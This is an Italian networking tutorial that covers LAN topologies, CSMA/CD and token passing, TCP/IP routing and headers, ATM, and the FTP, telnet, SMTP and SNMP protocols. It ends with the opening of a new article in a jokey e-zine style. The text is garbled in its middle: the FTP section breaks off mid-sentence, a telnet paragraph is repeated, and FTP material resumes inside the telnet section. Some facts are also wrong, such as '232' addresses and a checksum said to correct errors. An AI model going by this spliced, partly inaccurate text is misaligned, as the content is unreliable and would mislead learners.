livelli più bassi sono decisamente legati all'aspetto circuitale. Le funzioni di livello superiore (rete e trasporto) sono solitamente realizzate via software come parte del sistema operativo installato su ciascun computer, mentre i livelli superiori (sessione e presentazione) sono realizzati da programmi applicativi anch’essi forniti con il sistema operativo. Infine il livello di applicazione è costituito dal singolo programma utente che deve comunicare facendo uso della rete. **Fine Approfondimento** Le reti locali ============== Nei decenni passati i computer sono entrati in tutte le aziende, non solo come risorse di calcolo, ma come strumento per la gestione dell'informazione. In un primo tempo il modello di gran lunga prevalente fu l’architettura a stella, ovvero un grande calcolatore (mainframe) al quale accedevano numerosi utenti con esigenze diverse, con la modalità operativa a partizione di tempo. La caratteristica di questa tecnica è che gli utenti si alternano nel possesso della macchina così rapidamente che ciascuno di essi ha l'illusione di esserne l'unico proprietario. Negli ultimi anni, la tendenza al ribasso dei costi delle risorse di calcolo e delle memorie, contrapposta ad una sostanziale stabilità dei costi dei canali di comunicazione, ha fatto diventare conveniente distribuire le risorse di calcolo presso i singoli utenti dando a ciascuno di essi un personal computer in sostituzione del terminale. La necessità sempre presente di consentire la comunicazione tra applicazioni in esecuzione su macchine diverse ha fatto nascere il problema di collegare questi personal tra di loro, formando delle reti locali di calcolatori. E’ proprio l’interconnessione di tutte queste reti locali a livello mondiale a costituire il "fenomeno" Internet. Architetture di rete. ===================== Le reti locali si presentano con una gran varietà di forme, ciascuna delle quali può essere realizzata con diversi tipi di linea. La caratteristica comune di tutte queste reti è che al loro interno non c’è bisogno di instradamento: tutti i messaggi generati da ciascuna macchina arrivano a tutte le macchine della rete locale. Ognuna di esse decide poi se il messaggio la riguarda, e lo legge oppure lo scarta. La topologia che inizialmente ebbe il sopravvento fu quella a stella, direttamente derivata da quella adottata per i mainframe. In una LAN a stella tutti i messaggi devono passare per un computer centrale che controlla il flusso dei dati. Per ovvi motivi, in una rete a stella è facile l'aggiunta e la rimozione di computer periferici. D'altra parte è altrettanto ovvio che in una rete a stella se il computer centrale smette di funzionare l' intera rete (come tale) diviene inutilizzabile. Un'architettura oggi assai più diffusa è quella a bus. Con questa topologia i computer sono tutti connessi a un tronco di linea principale, detta appunto bus, che può essere realizzata con un cavo coassiale o su fibre ottiche. Questo tipo di rete è caratterizzato dal fatto che i computer sono paritetici e quindi anche se uno o più di essi si guastano, la rete continua a funzionare. Oggi le reti a bus, soprattutto in ambiente d’ufficio, sono spesso realizzate collegando ciascun computer mediante un filo in doppino di rame a un apposito scatolotto, detto hub di interconnessione o semplicemente hub. La struttura che ne risulta sembra una stella, ma lo hub svolge la funzione del bus condiviso. Una terza topologia di rete, diffusa soprattutto in ambiente industriale, è quella ad anello. in cui i computer sono connessi ad un bus richiuso su se stesso. In questo tipo di rete i messaggi passano da un computer all'altro seguendo la stessa direzione rotatoria. Il problema fondamentale di una rete ad anello è quello di assicurare la stessa possibilità di accesso al bus a tutti i computer. Per tale motivo le reti ad anello vengono utilizzate soltanto con un particolare tipo di protocollo a token di cui ci occuperemo tra breve. Anche la rete ad anello presenta una elevata resistenza ai guasti, ed inoltre diverse reti di questo tipo possono facilmente collegarsi tra loro. I livelli di rete e di trasporto. ================================= Supponiamo che abbiate appena acquistato uno hub per il vostro ufficio. Se allo hub colleghiamo più computer che desiderano colloquiare tra di loro sarà necessario che il dispositivo sappia evitare la sovrapposizione delle comunicazioni (collisione). Vi sono due schemi fondamentali di "regolamentazione del traffico" che consentono di evitare le collisioni: il token passing, e il CSMA/CD (Carrier Sense Multiple Access/Collision Detection ), caratteristico delle diffusissime reti Ethernet. Il primo schema si propone di evitare rigidamente il verificarsi di collisioni e viene pertanto detto schema CA (collision avoidance). Il secondo invece si accontenta di rilevare il verificarsi di una collisione ed utilizza questa informazione per ritentare la trasmissione minimizzando la probabilità che se ne verifichi un'altra. Lo schema token passing prevede l'utilizzo di un messaggio convenzionale, detto token, che segnala lo stato di linea libera. Nel caso più semplice il token viene posto sulla linea da una stazione che assume il ruolo di sorgente. Le stazioni restano in ascolto sulla linea finché non rilevano il token. Quando una stazione che desidera trasmettere riconosce il token, lo toglie dalla linea sostituendolo con i pacchetti di dati che costituiscono il messaggio. Durante questo periodo il token è assente e pertanto nessuna altra stazione può iniziare a trasmettere. Al termine della trasmissione la stazione deve provvedere al rilascio del token per consentire un altro accesso alla linea. La seconda tecnica è il cosiddetto CSMA/CD, usato in associazione con le topologie a bus per realizzare le reti Ethernet. Nella sua forma base si tratta di un'idea molto semplice. Quando una stazione desidera trasmettere dà liberamente inizio alla trasmissione, dopo di che si pone in ascolto sulla linea. Se rileva che il pacchetto in circolazione è stato danneggiato da una collisione, attende un intervallo di tempo casuale e poi riprova. In questa forma l'algoritmo, purché perfettamente funzionante, ha bassa efficienza poiché una stazione può iniziare a trasmettere quando un'altra ha quasi finito di scrivere il suo pacchetto di dati sulla linea. Ma il problema è facilmente risolvibile: le prestazioni possono venire migliorate semplicemente facendo sì che la trasmissione possa avere inizio soltanto se la linea risulta libera ed introducendo l'ascolto (per rilevare le collisioni) già durante la trasmissione. Circuiti virtuali e datagram ============================ Il complesso dei tre livelli di subnet costituisce, nella grande maggioranza dei casi, il prodotto effettivamente offerto dai costruttori di reti locali. In genere vi sono due tipi fondamentali di comunicazione consentiti dalle subnet: il circuito virtuale, ed il datagram. Nel primo caso, quello del TCP/IP propriamente detto, il programma che accede alla rete può utilizzare un canale di comunicazione "tipo linea telefonica", che gli sembrerà esente da errori. Anche se i dati viaggeranno in realtà suddivisi in pacchetti, per l'applicazione si tratterà di un flusso continuo di dati in viaggio sul canale. Sarà compito dell'applicazione eseguire le operazioni iniziali necessarie ad aprire il canale stesso. Questo schema riproduce l’operazione di "fare il numero" delle normali chiamate telefoniche. Vediamo come funziona. Due programmi, per poter comunicare tra di loro inviandosi reciprocamente dei dati devono prima sincronizzarsi, cioè "mettersi d’accordo". TCP/IP prevede la seguente sincronizzazione, detta anche three way handshake: Chi prende l’iniziativa della connessione, ovvero il client, invia un pacchetto convenzionale, il SYN packet, che dice al suo interlocutore, il server: "Voglio comunicare con te". Il server risponde al client: "Ok! Aspetto conferma" e il client risponde al server: "Confermo!". A questo punto inizia la comunicazione vera e propria. Questa sincronizzazione viene fatta automaticamente dai programmi e in maniera trasparente agli utenti. Nel caso del datagram invece, il messaggio è ripartito su più blocchi ciascuno dei quali è consegnato separatamente al destinatario, senza che sia stat stabilita alcuna connessione. E’ nel caso di questo tipo di comunicazioni, anch’esse possibili in ambito TCP/IP con il nome UDP (User Datagram Protocol) che l’instradamento viene fatto dai router pacchetto per pacchetto. Si noti che, mentre il circuito virtuale simula un canale esente da errori, poichè la consegna di ogni pacchetto è confermata dal destinatario, la consegna del datagram non è affatto garantita. Questo particolare rende ancora più credibile l'analogia tra questo tipo di servizio e l'usuale servizio postale. Le inter-reti e l’instradamento ================================ Supponiamo ora di avere tante reti locali sparse per il mondo, ognuna con la sua subnet, e di volerle collegare tra loro tramite router. In questo paragrafo ci occuperemo dei meccanismi che consentono ai router di risolvere il fondamentale problema che riguarda l'inoltro di un messaggio generato su una certa rete al destinatario posto su un’altra. Sulla singola rete locale il problema non si pone, visto che la comunicazione è di tipo broadcast , cioè ogni pacchetti viene inviato a tutti i computer della rete, ciascuno dei quali individuà le comunicazioni a lui dirette grazie all'indirizzo contenuto nel messaggio e scarta le altre. Per le inter-reti ottenute collegando varie reti locali, così come la stessa Internet, questo meccanismo non è utilizzabile, visto che richiederebbe di inviare ogni pacchetto su tutte le reti componenti, con uno spreco inaccettabile di tempo. Dato l’indirizzo di un computer destinatario, bisogna quindi saper definire un cammino sulla rete tra il computer che ha originato la comunicazione e il destinatario. Si potrebbe pensare di scegliere questo cammino (definito dalla sequenza di router che i dati dovranno attraversare nel loro percorso) una volta per tutte all'inizio della comunicazione. Ciascun router intermedio deve inoltrare il pacchetto al router che lo segue lungo il cammino. Ma come fa a sapere qual è il router giusto? Per questo, come abbiamo visto, si usano le tabelle di instradamento, che sono memorizzate in file residenti sui dischi di ciascun router e vengono ovviamente aggiornate ad intervalli regolari. La tabella di ciascun router contiene in genere tante righe quante sono le reti raggiungibili da quel router, insieme con l’indicazione, per ciascuna di esse, del router di inoltro. Ma non sempre questo basta, poichè non è detto che per raggiungere una certa rete si debba percorrere sempre lo stesso cammino, e quindi non è detto che il router di inoltro verso un destinatario resti sempre lo stesso. Il traffico su una grande rete di calcolatori come Internet è, per sua natura, ad ondate. Quindi è normale che una porzione della rete sia pesantemente utilizzata per un po’, magari per la trasmissione di un grosso archivio e poi resti inutilizzata per ore. Ciò rende necessario variare i percorsi dei dati a seconda delle condizioni di traffico della rete. A questo proposito va ribadita un'importante differenza tra datagram e circuito virtuale. Nel primo schema di comunicazione la decisione relativa al computer di inoltro può essere presa pacchetto per pacchetto, mentre nel caso dei circuiti virtuali questa decisione vale per l'intera durata della comunicazione. Per quanto riguarda l'affidabilità dei router, in caso di guasto è importante poter utilizzare percorsi alternativi. In termini generali si può quindi fare una distinzione tra algoritmi di inoltro adattativi e non. I primi avranno la capacità di variare il computer di inoltro in modo dinamico sulla base delle condizioni della rete. All’inizio del paragrafo, descrivendo le tabelle di inoltro, abbiamo implicitamente specificato un metodo non adattivo, che viene spesso chiamato static inoltro. Si potrebbe pensare anche a tecniche di instradamento non adattative che non richiedano la specificazione delle tabelle di inoltro. A titolo di esempio consideriamo l'algoritmo detto random walk. Secondo questo algoritmo un computer delle rete, ricevendo un pacchetto non diretto a lui, si limita a scegliere a caso una linea (esclusa ovviamente quella di arrivo) su cui inoltrarlo. Benché questi algoritmi abbiano lo spiacevole effetto di affollare indebitamente le linee, sono tuttavia notevolmente "robusti" nel senso che garantiscono un'elevata probabilità di recapito del messaggio anche nel caso di interruzione di alcuni cammini. Un altro esempio tipico è lo schema di hot potato (patata bollente!) secondo il quale ciascun computer, ricevendo un pacchetto, si limita ad inoltrarlo sulla linea per cui è minimo il numero di pacchetti in coda per essere trasmessi. Si osservi che, analogamente a quanto accade con l'algoritmo di random walk, usando la patata bollente non c’è nessun tipo di controllo su "dove" porti la linea prescelta; anche in questo caso, quindi, si suppone un elevato grado di interconnessione della rete. Su Internet, si usano protocolli di inoltro adattativi: i principali provider Internet usano un protocollo chiamato ISIS (Intermediate System-Intermediate System) all'interno delle loro reti. Altri ISP e aziende usano un diverso schema chiamato OSPF (Open Shortest Path First). Quando i dati vengono scambiati da un ISP a un altro, viene usato il BGP (Border Gateway Protocol). La descrizione di questi protocolli non è difficile, ma richiede un certo spazio e non verrà pertanto affrontata in questo corso. I livelli superiori di ISO/OSI. =============================== A differenza di quanto accade per gli strati inferiori del modello ISO/OSI, gli strati superiori presentano un basso grado di standardizzazione. Ciò avviene perché questi livelli riguardano i programmi che usano la rete e programmi scritti per applicazioni diverse hanno ovviamente esigenze diverse per quanto riguarda la comunicazione. Infatti, mentre i livelli inferiori si occupano genericamente di dati in viaggio da un computer ad un altro senza rendersi conto della pluralità (e della diversa natura) dei programmi esistenti sui vari computer, i livelli superiori dello standard ISO/OSI fanno riferimento al singolo programma come terminale della comunicazione. Vi saranno quindi tanti servizi di sessione e presentazione quante sono i programmi applicativi che devono comunicare. Tutte le presentazioni "consegneranno" poi i loro dati all'unico servizio di trasporto del computer, che non fa distinzione tra pacchetti provenienti da applicazioni diverse. Il compito principale del livello di trasporto è quindi la gestione dell’invio sulla stessa linea dei pacchetti provenienti da processi diversi, ed eventualmente il riordino dei pacchetti sulla base di un numero di sequenza (sequence number). Ciò può comportare l'introduzione di opportuni ritardi di consegna per i pacchetti pervenuti fuori sequenza in modo da rimetterli nell’ordine giusto. L'esempio dello scambio di lettere tra gli uomini d’affari italiano e cinese può aiutare a capire come gli strati più elevati siano meno standardizzabili, senza che ciò costituisca un difetto delle specifiche ISO. Infatti non è facile, a questo livello, imporre uno standard senza interferire con i contenuti della comunicazione. Sarebbe assurdo pensare di imporre tramite regolamento postale la presenza di specifiche frasi di convenevoli all'inizio e alla fine di una lettera d'affari come quella dell'esempio. Nonostante questo minor grado di formalizzazione dei livelli superiori ci sono alcuni servizi applicativi così diffusi da essere divenuti a loro volta oggetto di standard, come il trasferimento di archivi e la posta elettronica. Il livello di applicazione Il livello di applicazione è costituito dai programmi utente che richiedono la trasmissione di dati sulla rete Oggi tutti i computer connessi a Internet sono dotati di un programma polivalente di questo tipo, il browser. Ce ne occuperemo prossimamente. Il livello di presentazione Lo scopo del livello di presentazione è convertire i dati provenienti dalle applicazioni e destinati ad essere trasferiti sulla rete in un opportuno formato comune. In generale vi sono più formati a disposizione, tra cui i processi interlocutori devono scegliere. A questo livello possono venire offerti servizi quali la compressione dei dati e le tecniche crittografiche. Il livello di sessione Il livello di sessione ha il compito di includere nel messaggio quelle informazioni necessarie per la corretta ripartizione dei costi di comunicazione (ricordiamo che il sottostante livello di trasporto non distingue tra i vari processi committenti delle comunicazioni). Inoltre, questo livello deve farsi carico delle conversioni necessarie tra le codifiche dei dati utilizzate dai vari computer della rete, un problema particolarmente importante nel caso di reti che comprendono macchine di modelli e costruttori diversi. TCP/IP e e ISO/OSI Nei paragrafi iniziali della lezione abbiamo accennato al fatto che Internet si basa su TCP/IP. Si tratta di un protocollo sviluppato indipendentemente dagli standard ISO/OSI, che pure ha assunto la rilevanza di uno standard industriale. TCP/IP è importante perchè permette i collegamenti tra le reti diverse che compongono Internet, e può essere usato anche all’interno di una rete locale. La corrispondenza tra TCP/IP e la pila di protocolli ISO/OSI può essere schematizzata nella figura sottostante. Come si vede TCP/IP realizza globalmente il terzo e il quarto strato dello schema OSI, ma può a sua volta essere diviso in livelli. Al primo livello di TCP/IP si situano alcuni servizi base che una rete deve mettere a disposizione delle applicazioni che girano sulle macchine collegate ai suoi computer come la possibilità di trasferire dei file (FTP: File Transfer Protocol ) e le funzionalità di base della posta elettronica (SMTP: Simple Mail Transport Protocol ). Il secondo livello fornisce i due modelli di comunicazione tra applicazioni remote di cui abbiamo parlato. Il primo, detto Reliable Stream , costituisce l'analogo software di un circuito virtuale poiché richiede che i terminali tra cui avviene la comunicazione siano in linea nello stesso momento. Il secondo, detto User Datagram, simula invece la commutazione di pacchetto, spezzando un messaggio in sottounità che contengono informazione di indirizzamento e informazioni rivolte alla ricostruzione della loro sequenza. La struttura degli indirizzi TCP/IP =================================== Torniamo ora alla struttura degli indirizzi TCP/IP; infatti ce ne siamo già occupati, perchè l’indirizzo TCP/IP non è altro che l’host number che abbiamo descritto nei paragrafi che precedono. Per quanto riguarda la struttura degli indirizzi TCP/IP, la filosofia di base è quella di fornire ad ogni computer di Internet un unico indirizzo di lunghezza fissa, pari a quattro byte ossia 32 bit. Va notato che questa scelta comporta che gli indirizzi disponibili su Internet costituiscano una risorsa finita, anche se abbondante. Si tratta di ben 232 computer indirizzabili: una quantità però che per le odierne necessità sembra appena adeguata. Si possono avere quattro classi di indirizzi di cui però l'ultima non è attualmente usata. Ciascun tipo di indirizzamento viene attribuito ad una rete locale sulla base del numero dei computer che la compongono. Il numero IP non è un tutto unico: è ancora suddivisibile in un campo network id che serve ad identificare la rete locale all'interno di Internet su cui si trova la macchina da raggiungere e un campo host id che identifica la specifica macchina. Le host id costituite da tutti zeri e tutti uno corrispondono rispettivamente alla comunicazione sullo stesso computer, senza accesso alla rete ed alla comunicazione broadcast verso tutti i computer della rete. Come si è detto, per indicare uno dei processi in esecuzione su un dato calcolatore si usa il port number. Un port corrisponde al terminale di un canale di comunicazione virtuale che TCP/IP mette a disposizione del processo. Vediamo più da vicino la struttura di un messaggio TCP/IP. Val la pena di osservare che la complessità di questo protocollo è di gran lunga superiore agli altri visti finora: ciò è dovuto alla sua capacità di gestire anche reti di bassa qualità caratterizzate da elevato tasso di rumore e da frequente perdita di dati. TCP/IP decompone i messaggi delle applicazioni utente in parti di lunghezza non superiore a 65 Kbyte da inviare separatamente. L'invio del messaggio è preceduto da una procedura di negoziazione a tre stadi dopo di che vengono inviati i pacchetti di dati. Lo header (intestazione) dei pacchetti occupa ben 40 byte. Questo header in realtà è diviso in due parti. La prima, ovvero l’intestazione IP propriamente detta, riguarda la trasmissione del singolo pacchetto. La seconda, detta intestazione TCP serve per gestire una connessione, cioè un flusso di pacchetti tra un mittente e un destinatario. Infatti, la parte TCP si incarica della corretta sequenzializzazione dei pacchetti e delle eventuali ritrasmissioni necessarie per compensare eventuali errori di trasmissione. Vediamo una breve descrizione dei campi che compongono l'header TCP. I campi relativi ai port mittente e destinatario permettono di identificare i due programmi remoti tra cui ha luogo la comunicazione. Seguono il numero d'ordine del pacchetto e la lunghezza dello header che è variabile perché può comprendere un numero arbitrario di opzioni. Poi c’è una serie di indicatori o flag, che vengono utilizzati per la procedura di creazione e terminazione della connessione. Vi è poi una somma di controllo per la correzione automatica degli errori ed un campo di opzioni utilizzato per vari scopi tra cui la determinazione della dimensione dei buffer di memoria che devono essere mantenuti localmente dagli interlocutori. Per quanto riguarda lo header IP basterà dire che attraverso il campo tipo di servizio è possibile selezionare una modalità di trasmissione tra quelle offerte dai livelli inferiori consentendo così una notevole flessibilità del protocollo a seconda della natura dei dati da inviare. Ad esempio per trasmettere voce digitalizzata la velocità è da privilegiare rispetto alla correzione d'errore; mentre per un trasferimento di file è vero il contrario. Un altro elemento di adattabilità è il campo versione, che consente di specificare a quale versione del protocollo fa riferimento il pacchetto. Ciò consente di utilizzare nuove versioni del protocollo mantenendo la compatibilità a cavallo di versioni successive. Per concludere è bene far osservare ai lettori esperti di comunicazioni le ragioni che stanno alla base della grande differenza tra TCP/IP e i protocolli per le telecomunicazioni pubbliche, come il noto X.25. Nell'ottica di chi ha progettato TCP/IP il traffico di rete è prevalentemente locale con sporadici accessi ai router per le comunicazioni di lunga distanza. In questo schema la flessibilità che si ottiene prevedendo header lunghi e dettagliati fa premio sul tempo sprecato per trasmetterli. D'altro canto gli Enti postali che hanno a che fare con la rete telefonica considerano il tempo di trasmissione una risorsa preziosa e tendono a usare header molto corti. Questa tendenza si è espressa pienamente nel progetto della rete ATM.. ATM e i router del futuro ========================== Ad ogni tappa (hop) del percorso compiuto da un pacchetto, un router deve selezionare il suo prossimo passo verso la sua destinazione. Come si è visto, la maggior parte dei percorsi a lunga distanza viaggia su linee affittate dalle società telefoniche, alcune delle quali sfruttano tecnologie a commutazione di pacchetto. Ciò significa che i dati possono essere impaccati e instradati su molti livelli contemporaneamente. Ad esempio, la rete ATM traferisce i dati ad alta velocità in minipacchetti chiamati "celle" Invece dei router, ATM usa degli "switch" per differenziare i tipi di traffico e controllare il flusso di celle. Già oggi è normale inviare il traffico TCP/IP sulle linee ATM, ma non è chiaro se i router IP continueranno a gestire il traffico sempre crescente di Internet o se gli switch ATM li sostituiranno. A differenza dell'instradamento IP, ATM è più simile al sistema telefonico; si tratta di un sistema in cui viene stabilito un "circuito virtuale" tra interlocutori che viene tenuto in servizio fin quando dura la comunicazione. ATM è adatto specialmente per le applicazioni multimediali in tempo reale perchè una volta che il circuito è stabilito, le celle ATM seguono tutte lo stesso percorso percorso e impiegano, più omeno, lo stesso tempo. I sostenitori dei router IP insistono sul fatto che i router sono più flessibili grazie alla capacità di inoltrare i pacchetti lungo diversi percorsi, mentre ATM è un sistema rigido con connessioni fisse. I fautori di ATM ribattono che gli switch ATM sono più veloci e che vi sono delle tecniche per rendere flessibili le reti ATM di essereattraverso la segmentazione. Oggi, ATM viene usato principalmente dai grandi provider per le loro dorsali e solo il tempo dirà se la commutazione ATM sarà utilizzata esclusivamente per i collegamenti a lunga distanza o se la tecnologia verrà impiegata a livello locale. In Italia, linee ATM a lunga distanza per il traffico Internet sono già usate ad esempio da Interbusiness; una delle prime installazioni di ATM per rete locale è stata fatta presso l’Università di Milano, Polo di Crema (http://www.crema.unimi.it) FTP (per maggiori dettagli vedi SS1) ==================================== L'accesso al disco di un computer remoto è una funzionalità di base delle reti di calcolatori. Il protocollo FTP consente l’accesso a* telnet Consente a un utente a un terminale su una macchina di comunicare interattivamente con un programma, ad esempio un word-processor che gira su un computer remoto, come se il terminale dell'utente fosse collegato direttamente. O telnet Consente a un utente a un terminale su una macchina di comunicare interattivamente con un programma, ad esempio un word-processor che gira su un computer remoto, come se il terminale dell'utente fosse collegato direttamente. O FTP (File transfer protocol, Protocollo per il trasferimento di file) Consente a un utente a un terminale di accedere e interagire con un disco remoto. O SMTP (Simple mail transfer protocol, Protocollo semplice per il trasporto di posta) Fornisce un servizio di trasferimento della posta esteso a tutta la rete. O SNMP (Simple network management protocol, Protocollo semplice per la gestione di rete) Consente al gestore di rete di controllare il funzionamento di un elemento di rete (ad esempio un router) attraverso la rete stessa. Un'esigenza comune a tutte le interazioni tra server e client è quella di stabilire una connessione TCP tra i due processi o protocolli applicativi coinvolti. Quindi, prima di esaminare i diversi protocolli, ricordiamo brevemente come è stabilito il collegamento. Come sappiamo, tutti i server hanno un nome che si traduce in un corrispondente indirizzo IP valido su tutta la rete. L'indirizzo completo di un processo server è formato da due parti: l'indirizzo IP del calcolatore su cui il processo è attivo e il numero di port locale. L'indirizzo IP viene usato dai router dell'inter-rete per instradare i pacchetti all'elaboratore di destinazione richiesto. Il numero di port è utilizzato dal software all'interno del calcolatore destinatario per identificare il programma a cui va inoltrato un messaggio ricevuto. Come vedremo nei prossimi articoli, sul vostro personal computer si trovano i programmi client e server per diversi tipi di servizi (FTP, SMTP e così via). Ricordate che a tutti i server dello stesso tipo, su tutti i calcolatori del mondo, è assegnato lo stesso numero di port. I numeri di port dei diversi tipi di server sono noti come port "well-known". Eccone alcuni esempi: 21 - FTP 23 - telnet 25 - SMTP Quindi, quando un processo client inizia una chiamata a un processo server corrispondente, crea una connessione TCP che utilizza come indirizzo di destinazione l'indirizzo IP del calcolatore su cui il server gira insieme al numero di port "well-known" di quel server. Come proprio indirizzo, il client usa l'indirizzo IP dell'elaboratore su cui si trova insieme al successivo numero di porta libero su quel calcolatore. Telnet ====== Come vedremo nelle prossime lezioni, quasi tutti i sistemi operativi più diffusi (Unix, Windows, MacOS ed altri) forniscono un programma telnet per consentire all’utente di connettersi al sistema operativo di una macchina remota, di iniziare l'esecuzione di un programma su quella macchina e poi di interagire con esso come se si trovasse sulla macchina locale . Tutti i comandi e i dati inseriti dall'utente sono passati dal sistema operativo locale al processo client telnet che poi li trasmette, usando il collegamento TCP, al telnet server del calcolatore remoto. Quest'ultimo dischi remoti per prelevare file da trasferire sul computer locale o viceversa. Il client FTP fornisce una serie di servizi simili a quelli disponibili sui dischi locali. Usandolo per collegarsi a un computer dove è presente un server FTP, l’utente può elencarne le directory, creare nuovi file, leggere i contenuti dei file esistenti e così via. Alla ricezione di ogni richiesta il server FTP interagisce con il suo disco locale per soddisfare la richiesta come se fosse stata generata localmente. Il client FTP permette all’utente di specificare la struttura del file interessata e il tipo di dati. Sono supportate tre strutture di file (non strutturata, strutturata e accesso casuale) e quattro tipi di dati (binario a 8 bit, testo (ASCII ed EBCDIC) e binario a lunghezza variabile). Nel trasferire i file al client, il server FTP tiene conto della sua struttura. Il formato dei messaggi associati ai contenuti dei file è determinato dalla struttura definita del file. Il formato dei messaggi scambiati tra i due processi di controllo di FTP deve avere una sintassi concordata per assicurare che abbiano lo stesso significato (e siano interpretati nello stesso modo) in entrambi i calcolatori. Per ottenere ciò si utilizza il formato NVT citato nel paragrafo precedente. SMTP ==== La posta elettronica è probabilmente il servizio più usato su Internet e in generale sulle reti di calcolatori. I sistemi di posta locali sono disponibili da molti anni sulla maggior parte dei sistemi di elaborazione multiutente; fu quindi un'evoluzione naturale estendere il servizio attraverso la Rete quando questi calcolatori furono collegati in rete tra di loro. SMTP (Simple mail transfer protocol, Protocollo semplice per il trasporto di posta) gestisce il trasferimento della posta dal sistema di posta di un calcolatore a quello di un altro. Non è suo compito accettare la posta diretta ad altri utenti della stessa macchina; queste sono operazioni che spettano al sistema di posta locale. Il fatto che molti computer collegati alla Rete siano personal usati da una persona sola ha portato molti utenti ad identificare integralmente il servizio di posta con SMTP. In realtà SMTP si occupa solo della posta diretta a uteni di computer remoti. Il sistema di posta locale tiene per ciascun utente una indirizzo di e-mail in cui depositare o ricevere la posta. Ogni indirizzo di e-mail ha un nome univoco che è costituito da due parti: una parte locale e una parte globale. La prima è il nome dell'utente ed è unica solo all'interno del sistema di posta locale, mentre la seconda è un nome di calcolatore che come sappiamo è unico su tutta Internet. Vi sono due punti da prendere in considerazione nel trasferimento della posta: il formato dei messaggi, per essere certi che sia interpretato nello stesso modo in ogni sistema, e il protocollo usato per trasferirli da una macchina a un'altra. Il formato della posta è costituito da un'intestazione e da un testo che a loro volta sono costituiti da più righe di testo ASCII con una riga vuota che separa l'intestazione dal testo. Ogni riga nell'intestazione comprende una parola chiave seguita da una stringa di testo con due punti che separano i due elementi. Alcune parole chiave sono obbligatorie mentre altre sono facoltative. L'intestazione minima è la seguente: TO: nome del ricevente FROM: nome del mittente Ecco i campi facoltativi TO: nome del ricevente REPLY TO: nome a cui inviare la risposta TO: nome del ricevente FROM: nome del mittente CC: ricevente di una copia carbone SUBJECT: argomento DATE: data ENCRYPTED: puntatore alla tecnica crittografica La parola chiave ENCRYPTED indica che la parte del testo, cioè i contenuti, sono stati cifrati usando una chiave che il ricevente può dedurre dal puntatore di cifratura. L'intestazione, tra cui SUBJECT (cioè l'argomento) e i nomi del destinatario, è sempre in testo normale. Per inviare la posta, il protocollo SMTP del client prima accerta l'indirizzo IP del calcolatore di destinazione dal servizio DNS poi lo utilizza, insieme all'indirizzo di port "well-known" di SMTP (25), per iniziare l'impostazione di una connessione di trasporto con il server SMTP nel calcolatore di destinazione. Una volta che è stata stabilita una connessione, il client inizia il trasferimento della posta in attesa al server. L'inoltro della posta implica lo scambio distringhe di testo chiamate comandi. Tutti i comandi sono codificati come stringhe di caratteri ASCII e comprendono un numero di 3 cifre oppure un comando in formato testo o entrambi. Una connessione SMTP ==================== Per capire bene il concetto di protocollo ad alto livello non ci sono alternative: bisogna seguire una connessione passo passo. Da questo punto di vista il protocollo SMTP è particolarmente istruttivo, quindi vediamo in dettaglio le varie fasi di una connessione. Appena stabilita la connessione TCP, il server SMTP invia il comando 220 al client per indicare che è pronto a ricevere la posta. Il client risponde ritornando un comando HELO insieme all'indirizzo IP della macchina su cui si trova. Alla ricezione di questo, il server risponde con l'identità della propria macchina. Il client inizia poi a inviare l'intestazione della posta fornendo un comando MAIL seguito dalla riga FROM: presa dall'intestazione del messaggio da trasmettere. Il server replica con il comando generale 250, la conferma di ricezione. Il client continua inviando un comando RCPT seguito dalla riga TO: presa dall'intestazione della posta. Questo viene confermato ancora da un comando 250; qualunque ulteriore riga d'intestazione è inviata nello stesso modo. L'inizio dei contenuti del messaggio di posta elettronica è segnalato quando il client invia un comando DATA. Il server risponde con un comando 354 e il client poi spedisce i contenuti della posta come una sequenza di righe terminate da un punto. Il server conferma la ricezione restituendo un comando 250. La fase di trasferimento della posta è terminata quando il client invia un comando QUIT e il server ritorna un comando 221, a cui segue l'interruzione della connessione TCP di trasporto. Questo scambio dovrebbe aver chiarito le funzioni base del protocollo SMTP, ma nella pratica sono disponibili molte altre funzioni, a seconda delle implementazioni. Di questo ci occuperemo nelle prossime lezioni. SNMP ==== I tre protocolli di applicazione finora trattati, telnet, FTP e SMTP, riguardano tutti gli utenti della rete. Al contrario, SNMP (Simple network management protocol, Protocollo semplice per la gestione di rete) non interessa gli utenti finali, ma i gestori dell'ambiente di rete. Ricordate che la Rete comprende un gran numero di diversi dispositivi, tra cui i server e i router per l'interconnessione di LAN diverse. Internet, da questo punto di vista, è come la rete autostradale: se si verifica un guasto e il servizio è interrotto, gli utenti si aspettano che riprenda con un ritardo minimo. Se poi le prestazioni peggiorano per l’aumento del traffico su parte della Rete, gli utenti si immaginano che le porzioni congestionate vengano subito identificate e che sia aumentata la capacità di trasmissione in modo risolvere il problema. Il protocollo SNMP, anche se non è la bacchetta magica che gli utenti finali vorrebbero, è stato definito per aiutare i gestore della Rete a eseguire le funzioni di gestione dei guasti e di controllo delle prestazioni. Il concetto i base di SNMP è considerare tutti gli elementi della rete che bisogna controllare (router, server e così via) come oggetti gestiti. Associata a ciascun oggetto vi è una serie di informazioni di gestione. Alcune di queste, definite anche attributi, possono essere o lette o scritte dal gestore della rete attraverso la rete stessa per regolare il funzionamento dell’oggetto. Vi sono anche i messaggi di rilevazione dei guasti che vengono inviati da un oggetto gestito quando si verifica un malfunzionamento. Se un router cessa di rispondere ai messaggi di saluto, il suo vicino, oltre a modificare la sua tabella di instradamento per riflettere la perdita del collegamento, può creare e inviare un messaggio di rilevazione dei guasti attraverso la Rete, per segnalare il problema al gestore. Il ruolo di SNMP è permettere al processo di gestione, un programma che si trova sul computer del gestore di rete, di scambiare dei messaggi relativi all'amministrazione con appositi programmi attivi nei vari oggetti gestiti: calcolatori, router e così via. Le informazioni così ottenute sono memorizzate nella stazione del gestore di rete in una MIB (Management information base, Base informativa di gestione). Il gestore di rete è fornito di una serie di programmi per consultare le informazioni nella MIB, per dare inizio alla raccolta di ulteriori dati e per eseguire i cambiamenti di configurazione della rete. Altri protocolli ================ I protocolli di applicazione basati su TCP/IP non si fermano certamente qui. Di due di essi, il protocollo del Web HTTP e IIOP, il protocollo che sta alla base delle applicazioni a oggetti distribuiti, avremo modo di parlare diffusamente nel seguito delle lezioni. Comunque, qualsiasi protocollo ad alto livello che deve funzionare su Internet deve basarsi su TCP o UDP come quelli che abbiamo qui delineato. ____________________________________________________________________________ / Merlinus /| +===========================================================================+ | | | | | [ Networking ] | | | ---------- | / +===========================================================================+/ Olà, baldi netsurfers come vi va? Dopo questo articolo andrà sicuramente peggio ...avrete un grande peso nella parte bassa del corpo e una certa difficoltà nel camminare come se aveste due grossi corpi estranei (cosa saranno mai?). Acido vi ha fatto una rapida carrellata su come sono strutturate le reti di computer, adesso vedremo la cosa un pò più da vicino. Aspetti 